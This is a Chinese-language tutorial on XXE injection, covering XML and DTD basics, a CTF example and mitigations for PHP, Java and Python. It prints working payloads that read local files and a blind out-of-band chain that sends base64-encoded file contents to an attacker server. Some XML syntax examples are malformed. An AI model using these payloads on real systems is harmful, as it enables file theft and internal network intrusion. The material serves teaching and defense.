XXE 原理利用防御
1.1 开门重点
要点:libxml2.9.1 及以后，默认不解析外部实体。测试的时候 windows 下使用的是 php5.2(libxml Version 2.7.7 ), php5.3(libxml Version 2.7.8)。Linux 中需要将 libxml 低于 libxml2.9.1 的版本编译到 PHP 中，可以使用 phpinfo()查看 libxml 的版本信息。
1.1.1 定义
XML 用于标记电子文件使其具有结构性的标记语言，可以用来标记数据、定义数据类型，是一种允许用户对自己的标记语言进行定义的源语言。XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素。
1.1.2 文档结构
XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素。
<?xml version=”1.0” encoding="gb2312" encoding=”UTF-8”?> //xml 声明、版本、编码
<!DOCTYPE root system "http://www.XXXX.com/file"[ //定义 DTD 文件，格式为:root 指定根 节点名称，system 声明要使用的外部 DTD 文件路径，后面加文件 URL,注意[]包裹。
<!ELEMENT root (other)> // 元素声明，声明 xml 中包含的元素，声明中需要指定元素名 称(root、other 等)和元素类别、内容等
<!ELEMENT to (#PCDATA)> // <!--定义 to 元素为”#PCDATA”类型-->
<!ELEMENT generalentity "content" > //ELEMENT 标签用于声明实体，关于实体的定义如下: “实体是用于定义引用普通文本或特殊字符的快捷方式的变量”实体是在 DTD 文件中定义 的变量，xml 解析器解析 xml 文件的时候，会将被的引用替换为实体内容，实体分为:预 定义实体、普通实体、参数实体，此处定义了普通实体 generalentity,内容为 content
<!ELEMENT % extendentity SYSTEM "http://www.XXXX.com/file"> //定义参数实体，格式 为:<!ELEMENT % 参数名称 参数内容>
引用格式:%参数名称 参数实体只能在 DTD 文件中引用，内部 DTD 文件的参数引用只能出现于 DTD 标签可出现的 位置，外部 DTD 文件参数实体的引用可以出于 DTD 标签内容，比如:<!ELEMENT % "%another">
%extendentity; //引用参数外部实体
<!--XML 声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义 note 元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义 to 元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义 from 元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义 head 元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义 body 元素为”#PCDATA”类型-->
]>
<!--下面为文档元素-->
<note>
<to>Dave</to> //调用 Dave 实体(此步骤不可缺)
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
1.1.3 DTD的基础知识
Document Type Definition 即文档类型定义，用来为 XML 文档定义语义约束。可以嵌 入在 XML 文档中(内部声明)，也可以独立的放在一个文件中(外部引用)，由于其支持的数据 类型有限，无法对元素或属性的内容进行详细规范，在可读性和可扩展性方面也比不上 XML Schema。
参考链接: http://www.w3school.com.cn/dtd/index.asp
首先了解下基本的 PAYLOAD 结构，然后再介绍每部分涉及的知识点，如下 PAYLOAD 开头 进行了 XML 的声明，然后使用 DTD 声明实体(这里使用了 file 协议)，最后使用 XML 获取实 体的数据。
基本的 PAYLOAD 结构:
使用 DTD 实体的攻击方式 :
DTD 引用方式(简要了解):
1. DTD 内部声明
<!DOCTYPE根元素[元素声明]>
2. DTD 外部引用
<!DOCTYPE根元素名称SYSTEM "外部DTD的URI">
3. 引用公共 DTD
<!DOCTYPE根元素名称PUBLIC "DTD标识名" "共用DTD的URL">
示例:
<?xml version="1.0"?>
<!DOCTYPE configuration PUBLIC "-//mybatis.org//DTD Config
3.0//EN"
"http://mybatis.org/dtd/mybatis-3-config.dtd">
......
命名方法:以!DOCTYPE 开始,configuration 是文档根元素名称;
PUBLIC 表示是公共 DTD;-表示是非 ISO 组织;mybatis.org 表示组织;
DTD 表示类型;Config 表示标签;3.0 是标签后附带的版本号;
EN 表示 DTD 语言是英语;最后是 DTD 的 URL;
DTD 实体声明(重点学习):
1. 内部实体声明
<!ENTITY 实体名称 "实体的值">
一个实体由三部分构成:&符号, 实体名称, 分号 (;)，这里&不论在 GET 还是在 POST www.oldboyedu.com 中都需要进行 URL 编码，因为是使用参数传入 xml 的，&符号会被认为是参数间的连接符号,示例:
!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "oldboyedu.com">]>
<foo>&xxe;</foo>
2. 外部实体声明
<!ENTITY 实体名称 SYSTEM "URI/URL">
外部引用可支持 http，file 等协议，不同的语言支持的协议不同，但存在一些通用 的协议，具体内容如下所示:
示例:
3. 参数实体声明
示例:
%xxe;]>
外部 evil.dtd 中的内容
4. 引用公共实体
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
1.1.4 实体类别介绍
实体主要分为一下四类
内置实体 (Built-in entities)
字符实体 (Character entities)
通用实体 (General entities)
参数实体 (Parameter entities)
参数实体用%实体名称申明，引用时也用%实体名称;
其余实体直接用实体名称申明，引用时用&实体名称。
参数实体只能在 DTD 中申明，DTD 中引用;
其余实体只能在 DTD 中申明，可在 xml 文档中引用。
举例:
内部实体
<!ENTITY 实体名称 "实体内容">
外部实体
<!ENTITY 实体名称 SYSTEM "URI"> 参数实体 <!ENTITY % 实体名称 "实体内容">
或者
<!ENTITY % 实体名称 "URI">
注意:参数实体是在 DTD 中被引用的，而其余实体是在 xml 文档中被引用的。
1.1.5 XXE的利用方式-DTD
利用 xxe 漏洞可以进行拒绝服务攻击，文件读取，命令(代码)执行，SQL(XSS)注入，内 外扫描端口，入侵内网站点等，内网探测和入侵是利用 xxe 中支持的协议进行内网主机和端 口发现，可以理解是使用 xxe 进行 SSRF 的利用，基本上啥都能做了。
一般 xxe 利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到 Payload 的执行结果或现象，无回显的情况又称为 blind xxe，可以使用外带数据通道提取 数据。
1. 有回显情况:
有回显的情况可以使用如下的两种方式进行 XXE 注入攻击。
1.
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>
2.
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>
外部 evil.dtd 中的内容。
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >
2. 无回显的情况:
可以使用外带数据通道提取数据，先使用 php://filter 获取目标文件的内容， 然后将内容以 http 请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
test.dtd 的内容，内部的%号要进行实体编码成% (注:编码可参考:http://www.mamicode.com/info-detail-1680849.html
<!ENTITY % file SYSTEM "
php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM
'http://192.168.0.105:8080?p=%file;'>">
有报错直接查看报错信息。
无报错需要访问接受数据的服务器中的日志信息，可以看到经过 base64 编码过的数
我们看到服务器端接收到了我们用 base64 编码后的敏感文件信息(编码也 是为了不破坏原本的 XML 语法)，不编码会报错。
整个调用过程:
我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;，这就 是我们的利用顺序，%remote 先调用，调用后请求远程服务器上的 test.dtd ，有 点类似于将 test.dtd 包含进来，然后 %int 调用 test.dtd 中的 %file, %file 就会 去获取服务器上面的敏感文件，然后将 %file 的结果填入到 %send 以后(因为实体 的值中不能有 %, 所以将其转成 html 实体编码 % )，我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上，这样就实现了外带数据的效果，完美 的解决了 XXE 无回显的问题。
1.1.6 XXE漏洞利用及相关扩展知识
jarvisoj 上的一道题目 API 调用 这道题的题目说明是 请设法获得目标机器/home/ctf/flag.txt中的flag值。
进入题目 http://web.jarvisoj.com:9882/ 发现一个输入框，我们对其进行抓包
这是一道 xxe 的题，怎么获取 flag?只要将 json 处改为 xml，然后提交 xml 文档即可
1.1.7 XXE漏洞修复与防御
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
setFeature("http://xml.org/sax/features/external-general-entities",false)
setFeature("http://xml.org/sax/features/external-parameter-entities",false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案二:手动黑名单过滤(不推荐) 过滤关键词:<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC
1.1.8 xee渗透学习参考
参考地址:https://xz.aliyun.com/t/3357